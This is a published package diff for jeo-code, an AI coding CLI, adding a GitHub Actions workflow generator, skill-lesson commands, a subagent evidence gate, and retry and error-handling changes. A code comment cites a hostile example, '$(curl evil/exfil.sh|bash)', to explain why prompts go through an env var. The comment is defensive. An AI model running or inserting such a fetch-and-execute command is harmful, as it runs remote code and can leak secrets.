jeo-code 0.8.22 → 0.8.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,249 @@
1
+ /**
2
+ * `jeo routine init` — generate a GitHub Actions workflow that runs
3
+ * `jeo "<prompt>" -p` headlessly on a schedule or repo event.
4
+ *
5
+ * This is the SCOPED-SAFE take on "Routines": jeo-code itself never runs a
6
+ * scheduler, listens on a port, or accepts a webhook — it's a pure template
7
+ * generator. GitHub's own hosted runners do the actual triggering/running,
8
+ * which achieves "runs without your laptop" with zero new attack surface
9
+ * inside jeo-code's own process. See ../util/routine-template.ts for the
10
+ * pure YAML-building logic this command wraps with flag parsing + I/O.
11
+ */
12
+ import * as fs from "node:fs/promises";
13
+ import * as path from "node:path";
14
+ import { renderRoutineWorkflow, validateCron, type RoutineConfig, type RoutineTrigger } from "../util/routine-template";
15
+ import { slugify } from "../agent/memory-okf";
16
+
17
+ const TRIGGERS: readonly RoutineTrigger[] = ["schedule", "issues", "pull_request"];
18
+ function isTrigger(val: string | undefined): val is RoutineTrigger {
19
+ return val !== undefined && (TRIGGERS as readonly string[]).includes(val);
20
+ }
21
+
22
+ const VALUE_FLAGS: Record<string, true> = { "--name": true, "--trigger": true, "--cron": true, "--prompt": true, "--api-key-env": true, "--out": true };
23
+
24
+ interface ParsedInit {
25
+ name: string;
26
+ triggerRaw?: string;
27
+ cron?: string;
28
+ prompt?: string;
29
+ apiKeyEnvVar: string;
30
+ openPr: boolean;
31
+ out?: string;
32
+ force: boolean;
33
+ dryRun: boolean;
34
+ json: boolean;
35
+ help: boolean;
36
+ /** Parse-level problems: unknown flags, or a value-flag given with no value. */
37
+ errors: string[];
38
+ }
39
+
40
+ /** `--flag value` or `--flag=value`, matching launch/flags.ts's takeValue shape
41
+ * (a bare value-flag followed by another `-`-prefixed token is treated as
42
+ * missing, not as accidentally swallowing the next flag). */
43
+ function takeValue(args: string[], index: number, flag: string): { value?: string; nextIndex: number } {
44
+ const current = args[index]!;
45
+ const inline = `${flag}=`;
46
+ if (current.startsWith(inline)) return { value: current.slice(inline.length), nextIndex: index };
47
+ const next = args[index + 1];
48
+ if (next !== undefined && !next.startsWith("-")) return { value: next, nextIndex: index + 1 };
49
+ return { nextIndex: index };
50
+ }
51
+
52
+ function parseInitArgs(args: string[]): ParsedInit {
53
+ const parsed: ParsedInit = {
54
+ name: "jeo routine",
55
+ apiKeyEnvVar: "ANTHROPIC_API_KEY",
56
+ openPr: true,
57
+ force: false,
58
+ dryRun: false,
59
+ json: false,
60
+ help: false,
61
+ errors: [],
62
+ };
63
+
64
+ for (let i = 0; i < args.length; i++) {
65
+ const a = args[i]!;
66
+ const flag = a.includes("=") ? a.slice(0, a.indexOf("=")) : a;
67
+
68
+ if (flag === "-h" || flag === "--help") { parsed.help = true; continue; }
69
+ if (flag === "--no-pr") { parsed.openPr = false; continue; }
70
+ if (flag === "--force") { parsed.force = true; continue; }
71
+ if (flag === "--dry-run") { parsed.dryRun = true; continue; }
72
+ if (flag === "--json") { parsed.json = true; continue; }
73
+
74
+ if (VALUE_FLAGS[flag]) {
75
+ const { value, nextIndex } = takeValue(args, i, flag);
76
+ i = nextIndex;
77
+ if (value === undefined) {
78
+ parsed.errors.push(`${flag} requires a value`);
79
+ continue;
80
+ }
81
+ switch (flag) {
82
+ case "--name": parsed.name = value; break;
83
+ case "--trigger": parsed.triggerRaw = value; break;
84
+ case "--cron": parsed.cron = value; break;
85
+ case "--prompt": parsed.prompt = value; break;
86
+ case "--api-key-env": parsed.apiKeyEnvVar = value; break;
87
+ case "--out": parsed.out = value; break;
88
+ }
89
+ continue;
90
+ }
91
+
92
+ parsed.errors.push(`Unknown flag: ${a}`);
93
+ }
94
+
95
+ return parsed;
96
+ }
97
+
98
+ function printUsage(): void {
99
+ console.log("Usage: jeo routine init [options]");
100
+ console.log("");
101
+ console.log('Generate a GitHub Actions workflow that runs `jeo "<prompt>" -p` headlessly');
102
+ console.log("on a schedule or repo event. GitHub's own hosted runners do the triggering —");
103
+ console.log("jeo-code never runs a scheduler or listens on a port for this.");
104
+ console.log("");
105
+ console.log("Options:");
106
+ console.log(" --trigger <schedule|issues|pull_request> Required. What fires the routine.");
107
+ console.log(" --prompt <text> Required. The task/goal text passed to `jeo -p`.");
108
+ console.log(' --cron <expr> Required when --trigger schedule (e.g. "0 7 * * *").');
109
+ console.log(' --name <name> Workflow display name. Default: "jeo routine".');
110
+ console.log(" --api-key-env <VAR_NAME> Secret env var name. Default: ANTHROPIC_API_KEY.");
111
+ console.log(" --no-pr Commit directly to the branch instead of opening a PR.");
112
+ console.log(" --out <path> Output path. Default: .github/workflows/jeo-routine-<slug>.yml");
113
+ console.log(" --force Overwrite an existing file at --out.");
114
+ console.log(" --dry-run Print the rendered YAML instead of writing it.");
115
+ console.log(" --json Machine-readable output.");
116
+ console.log(" -h, --help Show this help message.");
117
+ }
118
+
119
+ async function runInit(args: string[]): Promise<void> {
120
+ const parsed = parseInitArgs(args);
121
+
122
+ if (parsed.errors.length > 0) {
123
+ for (const e of parsed.errors) console.log(`Error: ${e}`);
124
+ printUsage();
125
+ process.exitCode = 1;
126
+ return;
127
+ }
128
+
129
+ if (parsed.help) {
130
+ printUsage();
131
+ return;
132
+ }
133
+
134
+ const problems: string[] = [];
135
+ if (!isTrigger(parsed.triggerRaw)) {
136
+ problems.push(
137
+ parsed.triggerRaw
138
+ ? `--trigger must be one of: schedule, issues, pull_request (got '${parsed.triggerRaw}')`
139
+ : "--trigger is required (one of: schedule, issues, pull_request)",
140
+ );
141
+ }
142
+ if (!parsed.prompt) {
143
+ problems.push("--prompt is required");
144
+ }
145
+ const trigger = isTrigger(parsed.triggerRaw) ? parsed.triggerRaw : undefined;
146
+ if (trigger === "schedule") {
147
+ if (!parsed.cron) {
148
+ problems.push("--cron is required when --trigger schedule");
149
+ } else if (!validateCron(parsed.cron)) {
150
+ problems.push(`--cron '${parsed.cron}' does not look like a valid 5-field cron expression`);
151
+ }
152
+ }
153
+
154
+ if (problems.length > 0) {
155
+ for (const p of problems) console.log(`Error: ${p}`);
156
+ printUsage();
157
+ process.exitCode = 1;
158
+ return;
159
+ }
160
+
161
+ const config: RoutineConfig = {
162
+ name: parsed.name,
163
+ trigger: trigger!,
164
+ cron: parsed.cron,
165
+ prompt: parsed.prompt!,
166
+ apiKeyEnvVar: parsed.apiKeyEnvVar,
167
+ openPr: parsed.openPr,
168
+ };
169
+
170
+ let yaml: string;
171
+ try {
172
+ yaml = renderRoutineWorkflow(config);
173
+ } catch (err) {
174
+ const msg = err instanceof Error ? err.message : String(err);
175
+ if (parsed.json) console.log(JSON.stringify({ error: msg }));
176
+ else console.log(`Error: ${msg}`);
177
+ process.exitCode = 1;
178
+ return;
179
+ }
180
+
181
+ const outPath = parsed.out ?? path.join(".github", "workflows", `jeo-routine-${slugify(parsed.name)}.yml`);
182
+ const resolvedOut = path.resolve(process.cwd(), outPath);
183
+
184
+ if (parsed.dryRun) {
185
+ if (parsed.json) console.log(JSON.stringify({ dryRun: true, out: resolvedOut, yaml }, null, 2));
186
+ else console.log(yaml);
187
+ return;
188
+ }
189
+
190
+ let exists = true;
191
+ try {
192
+ await fs.access(resolvedOut);
193
+ } catch {
194
+ exists = false;
195
+ }
196
+ if (exists && !parsed.force) {
197
+ const msg = `${resolvedOut} already exists. Use --force to overwrite.`;
198
+ if (parsed.json) console.log(JSON.stringify({ error: msg }));
199
+ else console.log(`Error: ${msg}`);
200
+ process.exitCode = 1;
201
+ return;
202
+ }
203
+
204
+ await fs.mkdir(path.dirname(resolvedOut), { recursive: true });
205
+ // Atomic write: build the file fully off to the side, then rename into
206
+ // place, so a crash mid-write never leaves a truncated workflow file.
207
+ const tmpPath = `${resolvedOut}.tmp-${process.pid}`;
208
+ await fs.writeFile(tmpPath, yaml, "utf-8");
209
+ await fs.rename(tmpPath, resolvedOut);
210
+
211
+ if (parsed.json) {
212
+ console.log(JSON.stringify({ wrote: resolvedOut, trigger, apiKeyEnvVar: parsed.apiKeyEnvVar, openPr: parsed.openPr }, null, 2));
213
+ return;
214
+ }
215
+
216
+ console.log(`Wrote ${resolvedOut}`);
217
+ console.log("");
218
+ console.log("Next steps:");
219
+ console.log(` - Add '${parsed.apiKeyEnvVar}' as a repo secret: Settings -> Secrets and variables -> Actions.`);
220
+ if (trigger === "schedule") {
221
+ console.log(" - Scheduled workflows only run on the repo's default branch, and GitHub may");
222
+ console.log(" delay or skip scheduled runs on low-activity repos — this is documented");
223
+ console.log(" GitHub Actions behavior, not a bug in the generated workflow.");
224
+ }
225
+ console.log(` - Commit and push ${resolvedOut} to enable it.`);
226
+ }
227
+
228
+ export async function runRoutineCommand(args: string[]): Promise<void> {
229
+ const sub = args[0];
230
+
231
+ if (sub === "-h" || sub === "--help") {
232
+ printUsage();
233
+ return;
234
+ }
235
+
236
+ if (sub === undefined) {
237
+ printUsage();
238
+ process.exitCode = 1;
239
+ return;
240
+ }
241
+
242
+ if (sub !== "init") {
243
+ console.log(`Unknown 'jeo routine' subcommand '${sub}'. Usage: jeo routine init [options]`);
244
+ process.exitCode = 1;
245
+ return;
246
+ }
247
+
248
+ await runInit(args.slice(1));
249
+ }
@@ -2,6 +2,7 @@ import * as fs from "node:fs/promises";
2
2
  import * as path from "node:path";
3
3
  import { SKILLS, getSkillFrom, formatSkill, loadSkills, skillDirs, bundledSkillFileContent, userSkillsDir } from "../skills/catalog";
4
4
  import { getLocalJeoDir } from "../agent/state";
5
+ import { appendSkillLesson, evalSkillLessons, type SkillLesson } from "../agent/skill-lessons";
5
6
 
6
7
  export { userSkillsDir };
7
8
 
@@ -147,6 +148,62 @@ export async function runSkillsCommand(args: string[] = []): Promise<void> {
147
148
  return;
148
149
  }
149
150
 
151
+ // `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` — manual
152
+ // lesson entry into the project-level skill file (the same compounding write the
153
+ // launch.ts stall-guard fires automatically; lets an agent or human record one directly).
154
+ if (cleanArgs[0] === "lesson") {
155
+ const [, skillName, kindArg, title, detail] = cleanArgs;
156
+ if (!skillName || !kindArg || !title || !detail) {
157
+ console.log('Usage: jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"');
158
+ process.exitCode = 1;
159
+ return;
160
+ }
161
+ const kind: SkillLesson["kind"] | null =
162
+ kindArg === "failure" ? "failure-mode" : kindArg === "anti-pattern" ? "anti-pattern" : null;
163
+ if (!kind) {
164
+ console.log(`Error: kind must be 'failure' or 'anti-pattern' (got '${kindArg}').`);
165
+ process.exitCode = 1;
166
+ return;
167
+ }
168
+ const result = await appendSkillLesson(cwd, { skill: skillName, kind, title, detail });
169
+ if (isJson) {
170
+ console.log(JSON.stringify(result, null, 2));
171
+ } else if (result.appended) {
172
+ console.log("Appended.");
173
+ } else if (result.reason === "duplicate") {
174
+ console.log("Already recorded (duplicate).");
175
+ } else {
176
+ console.log(`Error: ${result.reason ?? "unknown error"}`);
177
+ process.exitCode = 1;
178
+ }
179
+ return;
180
+ }
181
+
182
+ // `jeo skills eval <skill>` — self-eval half: judge whether recorded lessons are
183
+ // still covered by the skill's current guidance, or have gone stale.
184
+ if (cleanArgs[0] === "eval") {
185
+ const skillName = cleanArgs[1];
186
+ if (!skillName) {
187
+ console.log("Error: Missing skill name for 'eval' command.");
188
+ process.exitCode = 1;
189
+ return;
190
+ }
191
+ const result = await evalSkillLessons(cwd, skillName);
192
+ if (result === null) {
193
+ console.log(`No recorded lessons for '${skillName}' yet.`);
194
+ return;
195
+ }
196
+ if (isJson) {
197
+ console.log(JSON.stringify(result, null, 2));
198
+ } else {
199
+ console.log(`${result.covered}/${result.total} lessons still covered by current guidance.`);
200
+ for (const s of result.stale) {
201
+ console.log(` STALE ${s.title}: ${s.reason}`);
202
+ }
203
+ }
204
+ return;
205
+ }
206
+
150
207
  // List/lookup over the MERGED set (bundled + ~/.jeo/skills + ~/.agents/skills + project dirs), matching the REPL /skill.
151
208
  const skills = await loadSkills(cwd);
152
209
  const command = cleanArgs[0];
@@ -519,6 +519,25 @@ function evaluateSubagentResult(
519
519
  return false;
520
520
  }
521
521
 
522
+ // Evidence gate (UNCONDITIONAL — same tier as parseRoleGateVerdict, never
523
+ // softened by --strict-mutations): an architect/critic verdict is worthless
524
+ // if the subagent never actually looked at anything. Mirrors goal-verifier.ts's
525
+ // applyEvidenceGate philosophy applied to the OTHER independent-verifier gate
526
+ // in this codebase — a formatted "Architectural Status: CLEAR" or "[OKAY]"
527
+ // first line is text the model can emit with ZERO real inspection; only an
528
+ // OBSERVED read/search/find/ast_grep/lsp call in this run counts as evidence
529
+ // the verdict is grounded in the actual repository state, not the model's own
530
+ // unverified assertion (2026 pattern: "avoid vibes verification — a claim is
531
+ // only trustworthy when backed by a programmatic, observed signal").
532
+ if ((role.id === "architect" || role.id === "critic") && result.readOnlyEvidenceCalls === 0) {
533
+ log(formatRalphStreamEvent(
534
+ "error",
535
+ `${role.title} returned a verdict with ZERO observed read/search/find/ast_grep/lsp calls — an unevidenced verdict is not trustworthy regardless of what the text claims. Blocking.`,
536
+ renderOpts,
537
+ ));
538
+ return false;
539
+ }
540
+
522
541
  // Round-8: a mutating role finished without a successful file mutation — the
523
542
  // task may be legitimately read-only, but its "Changed Files:" claim is
524
543
  // unverified. bash is tracked apart: an only-bash run MIGHT have mutated.
@@ -117,6 +117,21 @@ export function friendlyProviderError(err: unknown): string {
117
117
  if (status === 401 || status === 403 || /\b40[13]\b/.test(msg)) {
118
118
  return `${provider} rejected the credential (HTTP ${status ?? "401/403"}). Run 'jeo auth status', re-login with /provider login <name>, and for Antigravity prefer '/provider login antigravity' (gemini login only works when the Cloud Code Assist backend authorizes that token).`;
119
119
  }
120
+ // A persistent 5xx (server-side fault on the provider's backend) — `ProviderHttpError`
121
+ // already embeds the numeric status directly in its message ("… failed (HTTP 500) …",
122
+ // caught here too, redundantly but harmlessly), but `ProviderStreamError` (the in-band
123
+ // SSE/stream error shape — antigravity.ts/gemini.ts's `google.rpc.Status` and
124
+ // openai-responses.ts's `response.failed`/`error` events) composes its `.message` from
125
+ // a STRING status code only ("Antigravity stream failed (INTERNAL): internal error"),
126
+ // never the numeric one, even though `.status` carries it correctly (explicitStatus
127
+ // for antigravity/gemini's google.rpc.Status `error.code`; the 500 default for
128
+ // openai-responses's non-rate_limit_exceeded codes). Without a digit anywhere in the
129
+ // text, launch.ts's `routeFailureReason` `/\b(?:500|502|503|504|529)\b/` text regex
130
+ // never matched, so the equivalent-pool fallback never fired for a stream-shaped 5xx
131
+ // even with a credentialed same-tier fallback sitting right there.
132
+ if (status !== undefined && status >= 500 && status < 600) {
133
+ return `${provider} hit a persistent server-side error (HTTP ${status}) — ${msg}. The provider's backend itself is failing; switch model with /model or wait and retry.`;
134
+ }
120
135
  if ((err instanceof Error && err.name === "TimeoutError") || /the operation timed out/i.test(msg)) {
121
136
  return `${provider} did not complete the request within the call timeout (default 30min). This is expected for a HIGH/XHIGH-reasoning-effort completion that legitimately runs long on a hard problem — raise JEO_CALL_TIMEOUT_MS (ms) if this recurs, or lower the thinking level with /model.`;
122
137
  }
package/src/util/retry.ts CHANGED
@@ -5,8 +5,16 @@ export interface RetryOptions {
5
5
  isRetryable?: (err: unknown, attempt: number) => boolean;
6
6
  sleep?: (ms: number) => Promise<void>; // injectable for tests (default real setTimeout)
7
7
  random?: () => number; // injectable RNG for jitter (default Math.random); equal-jitter in [0.5x, 1x]
8
- /** Notified before each backoff wait; `delayMs` is the wait actually applied. */
9
- onRetry?: (attempt: number, err: unknown, delayMs: number) => void;
8
+ /** Notified before each backoff wait; `delayMs` is the wait actually applied.
9
+ * Returning `false` (explicitly) aborts the retry ladder immediately — the
10
+ * pending error is thrown right away instead of sleeping and re-attempting.
11
+ * Lets a caller with a same-tier FALLBACK model available bail out of a
12
+ * same-model rate-limit retry loop early rather than riding the full
13
+ * `rateLimitRetries` budget (up to ~90s of escalating backoff) before the
14
+ * turn-level equivalent-pool fallback ever gets a chance to switch models.
15
+ * Any other return value (including `undefined`, the common case) continues
16
+ * the retry ladder unchanged. */
17
+ onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
10
18
  /** Aborts an in-progress backoff wait (e.g. Ctrl-C / turn cancel). Already-aborted or
11
19
  * aborted-mid-wait rejects immediately instead of completing the sleep — the escape hatch
12
20
  * for a long, honored provider `Retry-After` (see `rateLimitMaxServerDelayMs`: those are no
@@ -200,8 +208,11 @@ export async function withRetry<T>(fn: () => Promise<T>, opts?: RetryOptions): P
200
208
  : 0;
201
209
  const delay = Math.max(base, floor);
202
210
 
203
- if (onRetry) {
204
- onRetry(attempt, err, delay);
211
+ // A `false` return from onRetry means the caller wants to bail NOW instead of
212
+ // sleeping and re-attempting (see RetryOptions.onRetry's doc comment) — throw
213
+ // the pending error immediately rather than entering the backoff wait.
214
+ if (onRetry && onRetry(attempt, err, delay) === false) {
215
+ throw err;
205
216
  }
206
217
 
207
218
  await abortableSleep(sleep, delay, signal);
@@ -0,0 +1,206 @@
1
+ /**
2
+ * Pure GitHub Actions workflow YAML builder for `jeo routine init` (see
3
+ * ../commands/routine.ts). No I/O here — the command layer owns reading
4
+ * flags, resolving --out, and writing to disk; this module only turns a
5
+ * {@link RoutineConfig} into a workflow document string, which keeps it
6
+ * trivially unit-testable without touching the filesystem.
7
+ *
8
+ * Routines are the "scoped-safe" version of scheduled/triggered automation:
9
+ * jeo-code itself never runs a scheduler, listens on a port, or accepts a
10
+ * webhook — GitHub's own hosted runners do the triggering, and the generated
11
+ * workflow just installs jeo-code and runs `jeo "<prompt>" -p` (the existing
12
+ * headless one-shot mode, see launch/flags.ts) on their infrastructure. This
13
+ * is how the workflow "runs without your laptop" with zero new attack
14
+ * surface inside jeo-code's own process.
15
+ */
16
+
17
+ export type RoutineTrigger = "schedule" | "issues" | "pull_request";
18
+
19
+ export interface RoutineConfig {
20
+ /** Workflow display name, e.g. "jeo nightly triage". */
21
+ name: string;
22
+ /** Which GitHub event fires the routine. */
23
+ trigger: RoutineTrigger;
24
+ /** Cron expression, REQUIRED when trigger === "schedule" (e.g. "0 7 * * *"). Ignored otherwise. */
25
+ cron?: string;
26
+ /** The natural-language task/goal text passed to `jeo "<prompt>" -p`. */
27
+ prompt: string;
28
+ /** Anthropic/OpenAI/etc — which env var the workflow expects as a repo secret. Default "ANTHROPIC_API_KEY". */
29
+ apiKeyEnvVar?: string;
30
+ /** true = the workflow opens a PR with any changes (safe default); false = commits directly to the CURRENT branch. Default true. */
31
+ openPr?: boolean;
32
+ }
33
+
34
+ /** Build the `on:` block for `config.trigger`. `workflow_dispatch` is always
35
+ * included alongside the primary trigger so a human can manually run the
36
+ * routine on demand (e.g. to test it) regardless of what fires it
37
+ * automatically. Throws when `trigger === "schedule"` and no cron was given
38
+ * — a missing cron on a schedule trigger is a caller contract violation, so
39
+ * this fails loud instead of emitting a broken/empty schedule block. */
40
+ function renderTriggerBlock(config: RoutineConfig): string {
41
+ switch (config.trigger) {
42
+ case "schedule": {
43
+ if (!config.cron) {
44
+ throw new Error("renderRoutineWorkflow: config.cron is required when trigger is 'schedule'.");
45
+ }
46
+ const cron = config.cron.replace(/'/g, "''");
47
+ return [
48
+ "on:",
49
+ " schedule:",
50
+ ` - cron: '${cron}'`,
51
+ " workflow_dispatch: {}",
52
+ ].join("\n");
53
+ }
54
+ case "issues":
55
+ return [
56
+ "on:",
57
+ " issues:",
58
+ " types: [opened, labeled]",
59
+ " workflow_dispatch: {}",
60
+ ].join("\n");
61
+ case "pull_request":
62
+ return [
63
+ "on:",
64
+ " pull_request:",
65
+ " types: [opened, synchronize]",
66
+ " workflow_dispatch: {}",
67
+ ].join("\n");
68
+ default: {
69
+ // Exhaustiveness guard: a new RoutineTrigger member without a case
70
+ // above fails typecheck here rather than silently falling through.
71
+ const exhaustive: never = config.trigger;
72
+ throw new Error(`renderRoutineWorkflow: unknown trigger '${String(exhaustive)}'.`);
73
+ }
74
+ }
75
+ }
76
+
77
+ /** Build the step that runs `jeo "$JEO_ROUTINE_PROMPT" -p` headlessly. The
78
+ * prompt is passed through an `env:` var and referenced (never inlined
79
+ * directly into the shell script text) — GitHub's own Actions-hardening
80
+ * guidance: a `run:` script is executed by bash, and bash performs
81
+ * `$(...)`/backtick command substitution on ANY text inside a double-quoted
82
+ * string, INCLUDING one built via naive string interpolation of a value the
83
+ * workflow author doesn't fully control (a copy-pasted prompt, or one later
84
+ * templated from untrusted input like an issue body). Routing the value
85
+ * through `env:` means bash expands `$JEO_ROUTINE_PROMPT` as inert DATA —
86
+ * its contents are never re-parsed as shell syntax, so an embedded
87
+ * `$(curl evil/exfil.sh|bash)` cannot execute even though this step's
88
+ * `env:` block also carries the API-key secret. */
89
+ function renderJeoRunStep(config: RoutineConfig, apiKeyVar: string): string {
90
+ return [
91
+ " - name: Run jeo (headless)",
92
+ ' run: jeo "$JEO_ROUTINE_PROMPT" -p',
93
+ " env:",
94
+ ` ${apiKeyVar}: \${{ secrets.${apiKeyVar} }}`,
95
+ " JEO_ROUTINE_PROMPT: " + JSON.stringify(config.prompt),
96
+ ].join("\n");
97
+ }
98
+
99
+ /** `openPr !== false` path: open (or update) a PR with whatever changes the
100
+ * jeo step made, instead of committing straight to the triggering branch.
101
+ * create-pull-request is a documented no-op when the working tree is clean
102
+ * after the previous step, so this is safe to run unconditionally — no
103
+ * diff-check step needed before it. */
104
+ function renderOpenPrStep(config: RoutineConfig): string {
105
+ const commitMessage = `jeo routine: ${config.name}`;
106
+ return [
107
+ " # peter-evans/create-pull-request no-ops when there's nothing to commit",
108
+ " # (clean working tree after the jeo step above) — safe to run every time.",
109
+ " - name: Open PR with any changes",
110
+ " uses: peter-evans/create-pull-request@v6",
111
+ " with:",
112
+ " branch: jeo-routine/${{ github.run_id }}",
113
+ ` commit-message: ${JSON.stringify(commitMessage)}`,
114
+ ` title: ${JSON.stringify(commitMessage)}`,
115
+ ` body: ${JSON.stringify(`Automated changes from the "${config.name}" jeo routine.`)}`,
116
+ ].join("\n");
117
+ }
118
+
119
+ /** `openPr === false` path: commit any changes straight to the branch the
120
+ * workflow ran on. The `git diff --staged --quiet ||` short-circuit makes
121
+ * an empty diff a silent no-op instead of a failing `git commit` (nothing
122
+ * to commit exits non-zero on a clean tree). */
123
+ function renderDirectCommitSteps(config: RoutineConfig): string {
124
+ const commitMessage = `jeo routine: ${config.name}`;
125
+ return [
126
+ " - name: Configure git identity",
127
+ " run: |",
128
+ ' git config user.name "github-actions[bot]"',
129
+ ' git config user.email "github-actions[bot]@users.noreply.github.com"',
130
+ "",
131
+ " - name: Commit any changes directly to this branch",
132
+ " run: |",
133
+ " git add -A",
134
+ ` git diff --staged --quiet || (git commit -m ${JSON.stringify(commitMessage)} && git push)`,
135
+ ].join("\n");
136
+ }
137
+
138
+ /**
139
+ * Render a complete GitHub Actions workflow YAML document that runs
140
+ * `jeo "<prompt>" -p` headlessly on GitHub's hosted runners, triggered by
141
+ * `config.trigger` (plus an always-present `workflow_dispatch` for manual
142
+ * runs). No YAML library is used — the shape is fixed and simple enough to
143
+ * hand-build as a string, matching this repo's zero-dependency policy.
144
+ *
145
+ * Throws if `config.trigger === "schedule"` and `config.cron` is missing
146
+ * (see {@link renderTriggerBlock}); does not otherwise validate cron syntax
147
+ * — that is {@link validateCron}'s job, run by the command layer before this
148
+ * is ever called.
149
+ */
150
+ export function renderRoutineWorkflow(config: RoutineConfig): string {
151
+ const triggerBlock = renderTriggerBlock(config); // throws first on schedule+no cron
152
+ const apiKeyVar = config.apiKeyEnvVar ?? "ANTHROPIC_API_KEY";
153
+ const openPr = config.openPr !== false;
154
+ const quotedName = `'${config.name.replace(/'/g, "''")}'`;
155
+
156
+ const lines: string[] = [
157
+ "# Generated by `jeo routine init` (see `jeo routine init --help`).",
158
+ "# Safe to hand-edit afterward — `jeo routine init` will refuse to",
159
+ "# overwrite this file again without --force.",
160
+ `name: ${quotedName}`,
161
+ "",
162
+ triggerBlock,
163
+ "",
164
+ "permissions:",
165
+ " contents: write",
166
+ " pull-requests: write",
167
+ "",
168
+ "jobs:",
169
+ " jeo-routine:",
170
+ " runs-on: ubuntu-latest",
171
+ " steps:",
172
+ " - name: Checkout",
173
+ " uses: actions/checkout@v4",
174
+ " with:",
175
+ " fetch-depth: 0",
176
+ "",
177
+ " - name: Setup Bun",
178
+ " uses: oven-sh/setup-bun@v2",
179
+ " with:",
180
+ ' bun-version: "1.3.14"',
181
+ "",
182
+ " - name: Install jeo-code",
183
+ " run: bun install -g jeo-code",
184
+ "",
185
+ renderJeoRunStep(config, apiKeyVar),
186
+ "",
187
+ openPr ? renderOpenPrStep(config) : renderDirectCommitSteps(config),
188
+ "",
189
+ ];
190
+ return lines.join("\n");
191
+ }
192
+
193
+ /**
194
+ * Lightweight cron sanity check: exactly 5 whitespace-separated fields, each
195
+ * matching a permissive `*` or `[0-9,-/]+` shape. NOT a full cron-grammar
196
+ * validator (it doesn't understand step-value combos like "star-slash-15",
197
+ * months/weekdays, or range bounds) — just enough to catch an obviously
198
+ * malformed string (wrong field count, stray letters/words) before it
199
+ * reaches GitHub's own (stricter) parser at workflow-run time. Used by the
200
+ * command layer; {@link renderRoutineWorkflow} does not re-validate syntax.
201
+ */
202
+ export function validateCron(cron: string): boolean {
203
+ const fields = cron.trim().split(/\s+/);
204
+ if (fields.length !== 5) return false;
205
+ return fields.every(f => /^([*]|[0-9,\-\/]+)$/.test(f));
206
+ }